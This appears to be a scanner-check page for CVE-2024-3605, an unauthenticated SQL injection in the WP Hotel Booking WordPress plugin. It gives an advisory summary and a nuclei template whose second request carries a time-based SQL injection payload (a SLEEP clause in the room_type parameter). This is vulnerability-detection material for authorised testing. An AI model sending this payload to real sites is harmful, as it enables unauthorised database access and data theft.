CVE-2024-3605
WP Hotel Booking <= 2.1.0 - SQL Injection
The WP Hotel Booking plugin for WordPress is vulnerable to SQL Injection via the 'room_type' parameter of the /wphb/v1/rooms/search-rooms REST API endpoint in all versions up to, and including, 2.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Attackers can execute arbitrary SQL queries, potentially leading to data leakage or database compromise.
Fix
Update to the latest version of WP Hotel Booking plugin that addresses this vulnerability, or apply security patches provided by the vendor.
How to confirm it
Send: GET /wp-json/wphb/v1/rooms/search-rooms?check_in_date=2025-01-01&check_out_date=2025-01-10&adults=4&max_child=0&paged=1&room_type=1
Positive when: status_code == 200
Send: @timeout: 15s
Positive when: duration >= 6 and status_code == 200 and contains(body, "{\"status\":\"")Run it with nuclei: nuclei -id CVE-2024-3605 -u <target>
The full check
id: CVE-2024-3605
info:
name: WP Hotel Booking <= 2.1.0 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
The WP Hotel Booking plugin for WordPress is vulnerable to SQL Injection via the 'room_type' parameter of the /wphb/v1/rooms/search-rooms REST API endpoint in all versions up to, and including, 2.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Attackers can execute arbitrary SQL queries, potentially leading to data leakage or database compromise.
remediation: |
Update to the latest version of WP Hotel Booking plugin that addresses this vulnerability, or apply security patches provided by the vendor.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-3605
metadata:
verified: true
max-request: 2
tags: cve,cve2024,sqli,wp,wordpress,wp-plugin,wp-hotel-booking,unauth,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-json/wphb/v1/rooms/search-rooms?check_in_date=2025-01-01&check_out_date=2025-01-10&adults=4&max_child=0&paged=1&room_type=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
@timeout: 15s
GET /wp-json/wphb/v1/rooms/search-rooms?check_in_date=2025-01-01&check_out_date=2025-01-10&adults=4&max_child=0&paged=1&room_type=1%22%29%20OR%20SLEEP%280.03%29--%20- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration >= 6'
- 'status_code == 200'
- 'contains(body, "{\"status\":\"")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from